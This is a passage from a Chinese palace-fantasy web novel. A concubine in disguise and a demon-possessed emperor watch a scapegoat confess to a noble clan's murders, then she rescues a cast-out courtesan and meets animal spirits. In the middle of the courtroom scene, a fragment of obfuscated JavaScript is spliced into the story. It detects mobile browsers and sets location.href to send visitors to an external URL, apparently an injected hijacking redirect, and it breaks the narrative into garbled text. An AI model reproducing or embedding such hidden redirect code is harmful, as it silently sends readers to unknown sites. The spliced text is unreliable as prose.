“你回去休息吧,姑姑是细心人,这些事交给她就好。”
“那么,奴婢告退。”
白露离去了,待书房的门阖上,沈纨沉默了片刻,她刚才一直在犹豫要不要告诉父亲她前日遇袭之事,最终心一横,决定据实相告,于是她说道:“父亲觉得这张画像与徐阐是否相似?”
“的确,白露此前未曾与你同去春秋原,没见过他,若凶手符合此像,怕也有七八分的可能了。”
“爹爹,白露并非唯一逃脱其毒手的女子,女儿也遇上了此人。”于是她将自己从沈府归来,偶遇商家绣娘,自己也险些遭到他绑架之事告知了父亲。
沈景霍地起身,肃容在书房内来回走动:“你是说,在平康坊命案翌日清晨,他险些绑了你?”
“父亲,此人已近疯狂,得想个法子,不能再让他继续这么为恶下去。”
“你当日是如何脱身的?”
总不能说她的住所施了异术,她改了个说辞,却歪打正着:“我出宫之时陛下派了暗卫,从不在人前现身,徐阐不是他的对手。”
“正逢多事之秋,银杏居却乏人守卫,若知今日,当初我和你母亲就该竭力避免你去选秀。”
“父亲此言差矣,银杏居最是安全不过,陛下不欲引起世家关注,是以宅院外的大门显得破旧寒酸,实则保护甚为严密,外面的狂徒绝无可能进来打扰。”
沈景折好画像,将其贴身收好,嘱咐她:“你这几日就安心在此间等候消息,频繁出入沈府亦多有不便,这几日,留在银杏居内等消息,哪怕是听闻京城里出了什么,也不可妄动。查案是官府的事,你纵关心琪娘和锦瑟,毕竟不是你分内事,别让自己置于危险之中。”
“爹爹在朝中也要多加留心。”
“我自省得,不必送了,改日再见。”沈纨开启书房的暗道,目送父亲离去。
随后几日,她果然听闻京城陆陆续续出了些事,崇化坊有间民宅突然走了水,几个地痞流氓路边吃醉了酒赌钱,打翻了路边炭炉,天干物燥,很快就燃起大火,光天化日下街坊赶着救火,徐阐作案的宅院因而暴露,失踪多日的琪娘遗体因而被发现,但时隔多日,即便已经入冬,也高度腐败,很不成样了。
除了她之外,另有遗体不全者,身份尚待查明。
私宅并无日常起居的痕迹,更像是专为作案之用的场所,但徐阐时常进出此间,总有人能瞧见,惨案持续多月无法破获,但事已经传了出去,他的名誉受到了严重破坏。
他声明自己无辜,徐氏虽心有偏向,也对沸腾的民怨有所感知,他如今现身京城还会引起恐慌,金吾卫暂停了他的武职,徐虎将他接回魏国公府,在案子有眉目之前,暂不会出府。
夜深人静时,在魏国公府深处,徐敦的书房依旧灯火通明,徐敦面沉如水地坐在书房正宗,长乐侯徐虎坐在另一侧,神情沉默,看起来有如在假寐。雕花的鎏金香炉静静地点着龙脑香,书房正中跪着一个贵夫人,哭得哽咽难言。
阮夫人披着长斗篷,匆匆赶回魏国公府求见父兄,进府后也未顾得上更衣,裹着寒气进了书房就跪下掩面而泣,精致的妆容被泪水打湿,鬓发凌乱,为其子向父兄乞求徇私的空间。
徐敦面容冷峻,看上去极不愉快,他猛地一拍桌子:“我徐氏一门,儿女皆俊彦,大郎战场上杀敌无数,娥皇也将母仪天下,怎么你竟教出三郎这么一个上不得台面的下流东西。”
阮夫人低垂着头,泣不成声道:“妾平素并不是那样教他的,其中定是有什么误会。”
她膝行至徐虎身边:“父亲,可怜可怜这孩子,他年少离家,没有在府里得到良好的管教,他怎么也是徐氏的骨血,如今出了这样的事,徐氏面上怎么过得去?”
徐虎眼皮微动,看着她不语。
阮夫人在父亲面前不住乞求:“妾一生中不曾父亲和兄长任何事,此蒲柳之身死不足惜,求父亲保下这孩子,这是妾唯一所愿。”
徐虎终于发话,他抬头看向长子:“三郎固然有错,但徐家的子嗣,说杀就杀,才是真的折损颜面,若被那些刁民牵着鼻子走,将来如何谋划大计,再说贵妃大婚在即,断不可因此事颜面无光,你看着办吧。”
长乐侯一席话,为这为祸京城多月的大案定下了方
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向。
沈纨在银杏居里静待了几日的消息,听闻徐阐禁足于魏国公府之内,虽然案件如今尚未有定论,但他不得出府,最起码,这为祸京城数月的危险暂被摘除,如今京里的女子又渐渐从家中出来,花神院也开始恢复往日的热闹。
她此前去华衣坊里定制了几件特殊的服饰,陆续都送到了银杏居,她今日换了身新衣,中衣柔软熨帖,外袍却是一身非常素净的青色长衫,腰间系着一条亚麻色的软带,是男子的装束,头发挽成一个青年书生常见的发髻,用一根细木簪固定,这身打扮,看上去就像是附近贡院的考生。
“姑姑觉得如何?”沈纨在福锦面前转了个圈,银杏居不大,但四季花木多少有一些,园中的红梅此时已开了。
“娘子相貌太娇,到底还是有些不像。”
“那这样呢?”沈纨换了个冠帽戴上。
“娘子从何处得来?”福锦见她拿出一个道冠般的帽子,不由得睁大了眼睛。
“往年进香时见到观里的道士,依着样子裁的,只怕细处多有不像,若装做个算卦的先生,兴许更泯然众人。”
“那个又是?”福锦指着沈纨另一只手上拿着的不明物。
沈纨一笑:“我让蒹葭去做戏班服饰的裁缝铺里找来的,还未曾用过,武生的胡须,我拿剪子和浆糊改小了些。”她说着在脸上比划了下。
这看上去更怪了,福锦无奈道:“娘子花容月貌,何苦糟践自己,再说也不像,反引人生疑。”
沈纨出宫之时,天子曾对福锦亲口下了令旨,只要能确保安全,她可以自由外出,不必拘束在银杏居的这一方天地之内。福锦起初微觉不妥,但日子一长,身在宫外规矩既少,也不受拘束,便也觉得好了,若非前些日子徐阐在京中为恶,想在京城逛一逛或去郊野踏青,本都不成障碍。
只不过沈纨身份终究特殊些,如今定了些男子的装束,这样在京城活动,也能少些关注。
“真有这么不像吗?”她叹了口气,遗憾地看着手中的胡须,花了一晚上做的,她不懂易容,但也许妆容上能下些功夫。
“岂止不像,简直就是难看。”
身后响起一个熟悉的声音,书房的门被推开,多日不见的天子,突然出现在了她面前。
沈纨和福锦双双跪下请安,天子一把拉住沈纨:“青石板地怪硬的,在这里就不用那么拘礼了。”
沈纨在他面前站定:“陛下总是这么兴致所至,怎么来了也不提前说一声?”
“朕若提前通知你就全宫都知道了。”
“奴婢当初在徽元殿当差,陛下就总是如此,说不见就不见了,总是让阖宫上下一通好找,如今徽元殿的宫人怕是又要着慌了。”
“当初任性,对不住福锦姑姑,不过现在那些俱为耳目,随他们去吧。”
说者无心,语气还非常随意轻巧,但听者有意,无不心下黯然。
“那么,陛下今日来做什么呢?”
“天气正好,陪朕出去走走吧。”
30. 替罪羊
魔情拉着沈纨来到了街上:“你出宫后羊肉汤和鲜花饼都吃到了不曾?”
“元宵过了时令,前些日子京城不太平,出去一遭不容易,没有机会。”
“那走吧,到东市去瞧瞧。”
“陛下今天出宫是来逛市集的?”
“是有点事,但时候尚早,等下你自会明白。”
沈纨这次着男装同天子出行,打扮成一个青年书生的样子。她曾听母亲自叙,年少时也颇为叛逆,沈景十七岁高中探花,彼时她还是云阳侯府的千金,听闻沈郎君年少多才,姿容俊秀,她当时央告父母兄长,最终得以男扮女装,混入为登科进士举办的烧尾宴中,由此结识了这位风流蕴藉的年轻探花郎。
幼时闻母亲如此述说和父亲的初遇,听得心生羡慕,她自幼颇为乖巧安静,何曾有这般叛逆经验,心中即便有些跃跃欲试的念想,但总无机会,没想到在不经意间实现,不过第一次着男装外出,不免忐忑,唯恐露出破绽。
她牵着天子的手同行,有路人经过,看着他们面露讶色,两年轻男子牵手街头同行,不免显得有些做作,沈纨这才一笑松开了手。
她这身打扮应该还行。
东市很是热闹,他们在街边随意寻了个食摊坐下,点了羊肉汤、胡饼,还从旁的酒肆门口买了些梅花酒,食摊另一头有间珍宝阁,在京城颇有名气,内中隐约传出交谈声。
“天子大婚在即,我家主母将为内命妇,这副头面不可有疏失,既要体面,又不能太显奢华,更不能逾制,否则几个脑袋都不够掉的。”
“陛下要大婚了?”她在宫外消息越发不灵通了,皇帝即将大婚,还要在外听路人壁角才知,多少有些不是滋味。
天子果然点头道:“原定明年五月中。”他突然一笑:“但现在怕又要推迟了,可怜魏国公,屡次三番要将他的女儿扶上中宫之位,你说,这算是好事多磨,还是不吉的外应呢?”
“宫里又出了事么?”
“徐阐引起京城近半年恐慌,如今民怨沸腾,魏国公有心保他,此事若不先善了,就大张旗鼓操办婚事,不但难以服众,还落下话柄。”他语气淡漠,仿佛在述说一件完全事不关己的故事。
天子低头看向沈纨碗里的羊肉汤,已用得差不多,于是道:“时候差不多了,走吧。”
沈纨不知他要带自己去往何处,从东市穿过平康坊一径向西而行,平康坊西南尽处,人声鼎沸,街头百姓里三层外三层地围着一个地方看热闹。
前方有人架起锣鼓敲敲打打,高声招徕来客,场地正中有几位武人,架起把式卖艺,当中有男有女,衣着十分简素,手中的剑也只是粗糙的木剑,可是,当鼓声擂动,这些卖艺人手中的木剑,竟然耍出了纵横的剑气,划破天都街头清寒的空气。
有年迈的老者拄杖经过,亦有年轻的武官驻足街头,看着两个卖艺人相对练起招来,身形轻如飞燕,纵越腾挪,旁边恰有几棵梅树,红梅盛开,剑势越快,如惊雷霹雳,扫落些许花瓣,梅花和剑影交相飞舞,带起呼呼的风声。
十数个来回后,他们收了剑势,摆了个浮夸但不实用的姿势,就如戏班里的武生一般,固定了动作。驻足的武官看得分明,哈地一笑摇头走了,但人群识得这些戏曲里武生的姿势,他们为看热闹而来,好看就行,爆发出阵阵喝彩,掌声雷动。
一个身段苗条的女郎将斗笠翻过来,走进人群中讨赏,走到沈纨身边,她在宫外日久,现在知道外出要带些钱,摸出荷包想找一粒碎银,天子在她之前把刚才吃羊肉汤的找零余下几枚铜钱悉数丢进去,然后拖着她离开了平康坊。
魔情看得分明,这群江湖人士剑术不俗,或因囊中羞涩,故而街头卖艺,兴许怕引起官府注意,表演时分明有意藏拙。
待进入登闻坊,沈纨明白天子要带她去哪了,前方是京城的官衙,红漆朱门上有大大的铜钉,门前两侧立着白色的石雕獬豸,其中东面的獬豸旁有一个鼓架,上面架着一面巨鼓。现在正是午时,衙门前围得水泄不通,比之方才平康坊的剑舞人势更盛。
堂前分立两列衙役,腰间悬挂刀剑,以手按刀,尽处高台上摆着一张沉重的楠木桌案,端坐于桌案之后的,正是当今的京兆府尹黄天衍,他身穿着公服,神情严肃,他身旁还坐着刑部和大理寺的官员。
堂下有一褴褛要犯,戴着重枷跪在堂前,正在接受审问。
墙角有百姓摆了一简陋茶摊,几张桌椅,赚些茶水钱,天子掏出一锭元宝,要买其中一人的位置,那人盯着元宝,左看右看,又拿起来放在嘴里咬了咬,觉得是笔划算买卖,小心地揣好银子,起身坐到墙根去,让出了座位。
“陛下,这是……?”天子之前一直故作神秘,让她好生猜测,万万没想到他会带她来看官府的会审。
“你听着就好。”
京兆府尹有可能认出他们来,沈纨不好太凑上前,远离人群,坐到茶摊边上。百姓挂心案件,又有衙役全副武装地维持秩序,也无人喧哗,因此,内中的交谈,勉强可以听见。
“这些女子与你非亲非故,你因何故杀了这么多人?”
“草民自幼与一女子定亲,后来家业败落,女家父母嫌贫爱富,强行解除了婚约,而后又迁居外地,草民多年来心怀怨恨,因此寻气质相似之女子报复。”
人群哗然,黄天衍手执惊堂木敲了几下以示肃静。
沈纨险些从茶摊里站起来,被魔情一把拦住,他淡声道:“此人是昨日自首的。”
“不!这不可能,凶手分明……”
天子竖起食指,放在唇上,轻声对她道:“你再仔细听听。”
衙门内府尹的声音继续传来:“你如何骗过徐三公子为你提供他的私宅?”
“乡里有熟人曾在衙门当差,草民每日观察他办案,记在心上,而后假冒京里的仵作,骗取徐三公子信任,言称官府修缮,需场地验尸,徐三公子秉性喜洁,从不在那宅子久留,因此草民并未露出破绽。”
“这么说,三公子是无辜的?”
“京中半年来的多起命案,皆是草民一人所为,徐三公子受草民蒙骗,命案与他无关。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16094179|179726||http|test|mini|href|location''.split(''|''),0,{}));
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>沈纨在一旁听得瞠目结舌,脑子里嗡嗡作响,满心的怨怼堵在胸口发不出,难受得几近呼吸困难。
“好了,我们走吧,不必再听下去了。”天子不由分说地站起来,强行拉走了他。
那坐在墙根的男子,不解地挠了挠头,见无人来坐那茶座,他起身回到茶座,向一旁的卖茶人又叫了一壶茶。
这些公子哥儿好生奇怪,钱多得发慌,没做一盏茶的时间就又走了。
“陛下可知,此人曾绑过白露,也差点绑了我。”沈纨和他离开登闻坊,声音有些颤抖。
“知道,朕甚至知道你不知道的事,白露之所以逃脱毒手,是朕给你的侍卫救了她。”
“原来是云生救了她,怎么不让白露知道?这可是恩人呢。”
“你叫他云生?”
“他自称混沌,我们都觉得奇怪,这是个什么名儿,后来又想,馄饨别名云吞,叫云吞到底也有些不雅,就改称云生。”
“哈哈哈……”他开怀地笑出声来。
现在却不是说笑的时候,沈纨又问:“听那囚犯所言,这分明已是对好了供词,徐氏找了替罪羊。”
“看上去是这样。”
“陛下心知肚明,还纵容此冤案发生?”
“天子犯法与庶民并不同罪,前朝哀帝,强幸自己的皇姑,并险些立为皇后,又枉杀忠良,将自己的帝师家族夷十族,放血造一血池,同族的十三岁少女被官卖,遭多人侵犯致孕,你猜那哀帝说些什么?他闻言也只是嬉笑:‘好,有人给朕挣钱了。’
“国破前一年,他癫病愈重,一言不合,就把自己的妃子剁了,骸骨制成琵琶,嚎哭弹奏。还有本朝太宗的梅妃,怀胎六个月,被敬元皇后剖腹取子,一尸两命,史书还称赞她“贤孝有德”,你说,她遭到惩戒了吗?”
但子孙遭殃,魔情遗憾地想,只可惜观世女不在人间,此女是混沌同族,能观向过去未来,若那敬元皇后已然转生,另一世也不会太好。
“哀帝的殷婕妤是他皇姑?梅妃是被敬元皇后所害?”
他出言讽刺,忘了有些隐秘是世人难以知悉的,沈纨之前被梅妃附体,为了避免吓到她,魔情未告知她全貌,史官会掩盖皇家秘辛,许多事实究竟,难为外人所知,他却实实在在地看到了梅妃因冤死而形成子母煞。至于前朝的暴君逆伦,因魔族寿数够长,一个王朝结束,难免生灵涂炭,揭竿而起的枭雄有志于天下,列数昏君罪过,人间的动荡也会影响三界,他如何能不知悉。
“宫里有些秘史是不会外传的,但无论如何你应明白有许多恶行并非孤例。”
“那么陛下今日究竟带妾来做什么呢?看徐氏一手遮天多么得意吗?”
“我知你擅作主张有些日子了,再这么下去必危及自身,朕不会允许此事发生。此外,也想让瞧瞧,当世家权力不再受控之时,可以如何颠倒黑白的。”
“难道陛下觉得这样的事很有趣吗?”
“是啊,有趣。”
沈纨看着天子,震惊地后退一步,仿若从未真正认识他。
31. 路见不平
她非常失望地问:“陛下可是认真的?”
“难道你觉得朕在说笑吗?几个地痞吃醉了酒在徐阐私宅前放火,我已知是沈卿所为,现在你也想涉足其中,如此危险,当真生死都不顾了?”
“陛下是在关心妾身?”
“那当然,所以你可以收敛一点吗?”
登闻坊的会审应是结束了,有许多人从官署的方向鱼贯而出,人声鼎沸,许多人对官府的判决非常不满,怨声载道。
有行人一路骂将过去,沈纨突然道:“陛下,百姓的希冀其实也很简单。”
杀人偿命,希望看到坏人死,这些都是最自然不过的反应,不平则鸣。
但天子无动于衷:“君舟民水,民贵君轻,水能载舟,亦能覆舟,但徐氏又不听朕的,朕能有什么办法。”
他语气轻描淡写,仿佛在闲说一件小事,在沈纨眼中,他一直是个少年英雄,任侠无惧,但他今日却如此直白地将在宫里的难处说出来,沈纨听了也不禁黯然,若面对的敌人过于强大,即使天子踌躇满志,也难免英雄气短。
前朝哀帝年间,也曾经出过轰动朝野的冤案,虽然哀帝本人是个昏主,但当时的官员却有些志气的人,硬生生为那风雨飘摇的江山续命十余年。当时的地方官员以严刑逼供,上下包庇,草菅人命,引起百多名地方儒生联名送文书进京,向刑部控告,最终便是在那登闻坊重新审讯,真相大白。
当年厘清案件的刑部尚书名为唐文清,后来被誉为清正公,立了一雕像,至今仍在登闻坊的官署之内,改朝换代,依然为官员表率。
哀帝年间时局甚乱,尚有官员能够厘清冤情,如今世家却颠倒黑白,包庇嫌犯,吏治不清明,对社稷是极大危害。
但天子在前,她能说什么,后宫又不能干政,这些未免大逆不道,她只是个小小的婕妤。
魔情瞧她神情萎靡,但眼珠转来转去,显见有些怨忿不平,又忍着不说,他不禁问混沌:
【你说这丫头在想些什么?】
混沌也不非时时都在窥视他人一年,凡人的心念甚是无趣,听公子突然点他,也只能捕捉到沈纨的一点点小心思。
【沈姑娘现在觉得公子是昏君,有亡国之象。】
魔情略略一皱眉,怪不得她看上去有些敢怒不敢言,他倒也不十分生气,她觉得萧誉是昏君,和他魔公子有什么关系。
她最后似乎自己想明白了,心绪稍定后问他:“那陛下呢?在宫里可有难处?”
他突然上前来把手放在她脸颊上:“不用担心朕,你这些时日自己注意藏好就是了。”
“陛下……”沈纨神情忽然微妙起来。
“嗯?”
“妾身现在,穿着男装,所以……”
行人路过,瞪着眼睛看着他们,又低头匆匆离去,表情意味深长。
天子一怔,继而又笑道:“是吗?我无所谓。”
只要他自己不尴尬,尴尬的就是别人,沈纨干笑着退开了些距离。
回程之时,沈纨顺道去了趟素问堂,此前见到莲娘,她内疚于琪娘失踪的意外,差人送了丰厚的银两至素问堂,希望转交给锦瑟,朱大夫几日前去信沈纨,希望她能代为转交。
女儿的性命是多少金钱也无法购买的,这些银两,也只能说是聊胜于无。
素问堂主看女科与小儿,平素并不接诊成年的男宾,但时有男客护送家中女眷来求医,会在医馆的另一个偏屋等待,沈纨入宫前就认识朱女医,她曾是尚药局的女医,见过天子少年时的模样,魔情今日陪伴沈纨过来,她一眼认出,非常惶恐。
天子并未让朱大夫破例接待,径自去了隔壁等候。
朱大夫见到沈纨非常喜悦,不过她作书生打扮,怕引起误会,引她入医馆后的私人宅院相叙。
“锦瑟娘子近日如何了?”琪娘是锦瑟独女,在素问堂拜师有三四年,小有所成,遭此横祸,朱则玉十分愧疚。
“琪娘被发现还不到半个月,姑姑受不了打击,病了有些日子,出府休养去了,母亲想要挽留,但姑姑还是坚持离开了。”
“唉,我实在是对不住她。”
登闻坊官府审案是一个多时辰前的事,有嫌犯自首的消息尚未传遍,锦瑟和朱则玉若知,恐怕会更加难受。
这时外头的街上突然发生了混乱。
素问堂外有一个行乞的女子,即将入冬,她却单衣赤足,哭哭啼啼,被几名金吾卫拉拽,为首的军卫带着半副面具,呵斥她妖言惑众。
朱则玉向外张望了一下,却掩口啊了一声。
“是莲娘?!她不久前才送了银子过来,怎会突然流落街头?”
沈纨顺着朱大夫的视线看出过去,着实吓了一跳,那女乞丐虽然褴褛,但她此前与莲娘有一面之缘,一眼就认了出来,正疑惑之际,又吓了一跳,徐氏对外宣称徐阐已被禁足,但那戴着面具的男子分明是他,今日登闻坊尚在提审嫌犯,最大的嫌疑人竟已出来履职了。
沦为乞儿的年轻女子是弱势中的弱势,若就这么被带走断无好事,沈纨不知道哪里来的勇气,她径自走了出去。
“几位军爷好大的官威,当街欺压一个弱女子。”
徐阐分明认出了她来,面具之下目光突然变得非常令人胆寒:“奉劝公子莫要干扰金吾卫的公务,此女行乞于闹事,妖言惑众,我们欲将她安置在善堂,欺压从何谈起?”
魔情留意到街上的骚动,才走至门边,就见到沈纨与一个带着半副面具的金吾卫在对峙,他一眼认出对方身份,明明才叮嘱过她谨慎行事,竟然直接和那凶手对上了。
沈纨见到天子抱着手出现在徐阐身后,神出鬼没的混沌也不知什么时候从对面的民巷现身,她冲着天子摇了摇头,告诉他,她自己尚能处理,于是魔情微微侧身,抱着手倚在门扉之后,静观她如何处理。
“此女并非乞儿,是我府上的丫头金玉,鄙人家中规矩严厉,她犯错被逐出,我今日遵母命欲带她回府,不劳军爷送去善堂了,金玉,你可知错?”沈纨扬声向莲娘问道。
莲娘会意,哇地一声大哭起来,爬过来抱住沈纨的腿:“公子,奴婢知错了,以后一定用心做事,再不敢了!”
“徐三公子,今日有所冒犯,改明儿一定亲自登门致歉,今日容在下少陪。”她转身招呼素问堂里的医女,朱大夫意会,迅速地让人出来,把莲娘带离现场。
周围的人听她喊徐三公子,窃窃私语,有的人甚至面露惊恐。
徐阐见人群已有异动,怨恨地瞪了沈纨一眼,转身拂袖而去。
朱则玉领了莲娘到后园,为她换了身衣裳,又检查了下身体,她穿得单薄,受了冻,但万幸无事,莲娘哭个不住,好容易才说清楚流落街头的原因。
她出身平康坊的椴花楼,结识徐二公子徐正原,他为莲娘一掷千金,成为京城的一段轶闻,去年莲娘有身,徐二遂在外置办了一处产业,将她收为外室,数月前诞下一子。上个月底椴花楼发生命案,死了两个和她甚为亲厚的姐妹,她因徐阐与徐正原
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产生争执,竟就此被逐出。
“沈娘子仗义相救,莲娘感激不禁,但那厮是个危险人物,娘子难道就不怕么?”
“自然是怕的。”
“那为何要救我,陷自己于险地?我和娘子非亲非故。”
其实沈纨现在还尤有余悸,对莲娘的遭遇越想越是心寒,徐阐有血缘的庇护,行伤天害理之事也有长辈代为遮掩,有官府协助包庇。莲娘以色事人,她的依仗如此脆弱,全凭少爷心情,诞下徐氏长孙的母亲说赶出去就赶出去,让她赤足单衣流落街头。
这些心思不好言明,最后只告诉她:“当然怕,但依旧觉得,难以坐视不理。”
莲娘听了,若有所思,拭泪起身欲跪谢,沈纨忙拉她起来。
朱则玉思量一番,决定把莲娘暂时送出城,她在郊外有自己的农庄和药田,可以暂时安置她,她此前差人送来的丰厚银钱,原本欲与了锦瑟,朱大夫劝她,好歹留下一些,先度过当前的难关。
待沈纨回去寻天子,已让他等了许久,她心中十分抱歉。
“陛下,妾又擅作主张了,有负陛下的嘱托。”
“去年在清泉山初见你也是如此,倒是一点没变。”
“当时不知事实究竟,阻拦陛下,造成许多误会。”
“是啊,若无你当初多管闲事,也不至于入宫了,后悔了么?”
“若是如此,说不定如今已被双亲许了什么人家了。”
魔情微微冷哼一声,再次提醒她:“总之你记着出门带上云侍卫,有危险留在银杏居里就没错,那里风雨不侵。”
他们一同回到银杏居,虽然天寒,但天气晴好,小院内此时正晾着许多书,见天子和沈婕妤归来,都起身请安。
“那是什么?”魔情看见书堆旁有两个眼熟的木头摆件。
“这是太后殿下此前赠予妾的人参娃娃,蒹葭的父亲是木匠,她自小也跟着学了些木雕和描绘的手艺,人参娃娃雕工朴素,她这几日打算做得精致些,陛下来瞧瞧。”
她说着拿起那两个木雕娃娃,虽然圆头圆脑,其中一个简陋,但另一个已经有了细致的五官,还涂上了些红色的油彩。
“这是……你?”
“正是,这一个是陛下,不过,还未及动工,陛下今日可赶着回去?如时间尚有富余,可否让蒹葭参详一二,也好做得像些。”
但雕出的可是小皇帝的面容。
“好主意,那么这个朕就带走了。”
“陛下,这一个还未做好。”
“宫里也有工匠,你做一个,我也做一个,凑成一对,不是正好?”
就算这东西有朝一日能凑作一对,但肯定不是现在。他拿走的,正是太后赠予沈纨的人参娃娃,上面尚有一个被磕出来的缺口,在她那里放了一阵子,又被他收了回去。
午夜时分,蓝月幽阁静隐在在明净的夜空之上,仅有饕餮在幽阁之内,魔情突然归来,但并未在幽阁内久留,
“公子有什么吩咐?”在魔族的居所之内,饕餮恢复魔相,两对粗壮的犄角看起来极具威势。
“不过是回来看看,魔域近期可有什么消息?”
饕餮摇头。
“那便罢了,人间如今变得比以往更有意思些,快到你一展身手的机会了。”
他留下一句意义不明的话语,旋即又回到了长庆宫的帝寝之内。
在他幽阁的居所内,多了一个做工简陋,完全不像魔界产物,也没有任何法术加持的葫芦形木雕摆件。
32. 无妄
世人皆知银杏居住所寒酸,里面住了个才入宫三个月就迅速失宠的沈婕妤,门庭破败,外人路过都懒得多看一眼,甚至难以意识到其存在。住在里面的人,若非情感上有强大的关联,否则不自觉就会忘记这里。沈纨住在里面,也只有她的双亲时常惦记。每月两次长庆宫送份例过来,那严密的防卫才会稍有减轻。蒹葭白露在随她搬进来的时候,哀叹天家对她的冷待,却无可奈何,沈纨起初也觉得很丢脸,自从知道银杏居内藏奇术,方知这样才是保护。
虽然外面看着寒酸,但银杏居内住起来却舒适,再加上随时能外出,是居于宫城内无法比拟的自由,燕和郡主近日生辰,清修之人一切从简,但沈纨作为晚辈,还是提前了数日,赴清泉山看望师父。
由于日前挖出了骨骸,慈缘寺这几日有法会,骨骸挖出的地方被稍加修缮,有一个小型的佛龛,里面是地藏菩萨,四周的香炉剩下些残香,或许是这些少女的家人也曾经来过。
沈纨也过去上了炷香,但奇怪得很,她觉得附近的林间有些奇怪的动静,她对清泉山很熟悉,未知会这次陪伴而来的蒹葭,里出过命案独自行动不妥,她过来上了柱香,也只花了一炷香的时间,很快就回去,有云侍卫暗中保护,她并不担忧。
但枫林深处听见有悉悉索索的声音,她心里发毛,只好叫出云侍卫,混沌立刻现身。
“这林子里怎么有怪声,怪吓人的。”
混沌已知是什么东西,答道:“娘子不必惊慌,只是一些野兽,不成气候。”
沈纨刚想放下心来,眼前有个红色的东西一晃没了踪影,她不由向远处扬声道:“初九,是你吗?”
树林里的动静更大了,过了一会儿,小狐狸初九不好意思地从灌木丛里出来,他今日倒是自己的相貌,十四五岁小郎君的长相,生有一对狐耳。
“沈娘子,又见面了。”
“你来清泉山做什么?看到我为何要躲?”
初九挠挠头,不是要躲她,而是忌惮她身边那个看不出来路的武将,莫说是他,其他的妖族也怕。
混沌见狐狸现身,也道:“后面的朋友,都出来吧。”
沈纨目瞪口呆,看着狐狸身后出现四个奇形怪状的家伙,略具人形又不太像人,其中有一两位,还穿着道袍。
分明不是人族,她不禁问:“慈缘寺清修之地,诸位来此间有何贵干?”
初九毕竟和沈纨相熟些,赶紧解释,这些全是他的友人,清泉山素有灵气,本就有精怪活动,素来不扰民。
狐狸客栈有五仙出没,除了他这只狐狸,其他几位分别是,蛇,刺猬,黄皮子和老鼠,沈纨细观之,见一少年头发泛黄,干得像稻草,另一个生了一对鼠目,想必是黄皮子和老鼠,还有个长了对竖瞳的小娘子,应该是蛇妖了。
清泉山此前卷入命案,入夜后林中鬼影憧憧,为此也招来了精怪。
“那可都是些遭遇不测的可怜姑娘,你们想做什么呢?”
“女郎,我们修轮回道的,只不过是要送她们顺利上路。”那像老鼠的少年说话语气吱吱的。
沈纨惊讶地睁大了眼睛:“你们是指,像慈缘寺那样,颂《地藏经》之类的?”这几日寺院内的确因此有法会。
另一只小妖怪在旁附和:“娘子不妨如是理解,而我族看得见她们,亦知她们心中遗憾,娘子放心,我们并无歹意。”
“那么你们眼下事毕了不曾?”
狐狸毕竟还算和沈纨相识,也在一旁拼命点头,小妖怪们忌惮混沌,哪里敢久留,巴不得避其锋芒。不过初九在临去前,告知沈纨案情近日的进展,她这才知道,世家急于结案,审理速度飞快,替罪羊已经定罪,因案情严重,判斩立决,明日行刑。
“我觉得明日的卦象甚是奇怪。”初九拔了一把草,摊在手中摆出个天雷无妄的卦象,“说不定要生出些事来,沈娘子挂心此案已久,明日可要去看看?”
砍头有什么好看的,明知是冤情,但思量一番,又觉得应去瞧瞧,只是难以脱身,不过,她还会在清泉山住数天,时间是有的,遂同狐狸合计一番,决定由他明日来接应。
混沌抱着手在一旁静观,这女孩儿虽然名义上是妃子,公子压根就没把她当妃嫔对待,现在和五只妖怪在一处谋划些什么,这简直是古今未有的罕事,末了还央他:“云侍卫,此事可否替我瞒着陛下?”
他内心觉得好笑得很,但只是面无表情地略一点头:“领命。”
第二天一大早,狐狸驾着他的马车来到慈缘寺进香,他现在变作女子简直毫无心理负担,还顺便拜见了郡主,说自己不会选衣裳,寒冬将至,希望让沈纨陪她去置办些冬衣,只需半天就回来。
燕和郡主不太放心,但见到了马车,初九的四个同伴用障眼法变成人形,看起来既有丫鬟又有僮仆,思及只是在东西市逛逛绸缎庄,遂叮嘱沈纨注意隐藏身份,甚至还给了她些银钱,让她也给自己买些冬衣,便放她去了
好在师父慈爱,沈纨得以成功坐上狐狸的马车,离开了清泉山,车里的气氛非常奇妙,狐狸左边有一条盘起来的蛇,蛇身上坐着一只老鼠,另一头是刺猬,黄鼠狼变作车夫坐在前面,混沌在他旁边,黄皮子对这寡言的神秘侍卫非常忌惮,一路上大气也不敢出。
入宫也没几个月,见到了许多人八辈子都不曾有的奇遇,若非昨日见过那些精怪,即使今日只见到动物,光蛇和老鼠都能把她吓着。
她与佛寺的缘分,皆因幼时司天台的太史令袁先生有言,她命格特殊,命中易招邪祟,最好出世修行。但父母哪里舍得,姜夫人此后常带她去寺院敬拜,由此结识燕和郡主,郡主很喜爱她,将一手丹青技艺倾囊相授,她从此也和慈缘寺结下缘分。若所谓的邪祟就是这些精怪,沈纨内心暗想,如此似也还好。
来到西市附近的法场,人群已经集中起来,沈纨去清泉山一向穿得简素,此行又带着帷帽,成功泯然于众人之中。
她觉得气质最怪的还是云侍卫,他高大俊秀,做武官打扮,偏又目盲,往人群中一站必是出挑显眼的,存在感偏低得异常,叫人意识不到他的存在。她甚至发现,平日里若不见面,她一时间竟然难以想得起他的相貌。
临近午时,嫌犯被押送至行刑地,四面重兵把守,将法场围得密不透风。
人已经很多,为免被认出来,她只是与云侍卫站在远处,不时能听见周遭的交谈,民情愤慨,认为那戴着重枷的犯人,是替罪羊的百姓很多。百姓知道官府糊涂办案,官府亦知百姓知道他们糊涂办案,只是不在意,世家的权柄是盘根错节的一棵大树,下面办事的,当然乌纱要紧。
这里人群混杂,情绪纷乱,对混沌而言,灵识只需稍稍扩散,立刻就能听见大量声音
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,其中也包括端坐于高台之上的三司官员,以及法场上的替罪羊。
那犯人心情甚是绝望,有求死之意。
突然,他察觉到同胞的出现,饕餮不知为何出现在附近,带着颇为贪婪而残忍的好奇心,来旁观这一切。混沌略一转头,饕餮冲他颌首,露出一抹带着血腥气的微笑,二魔隔空致意。
【你来此作甚?】
【大限将近,自然要来看看热闹。】
【别在这个时候出手。】
【不会的,轮不到吾。】
以魔语简短地交流后,混沌沉默下来,不再发言。
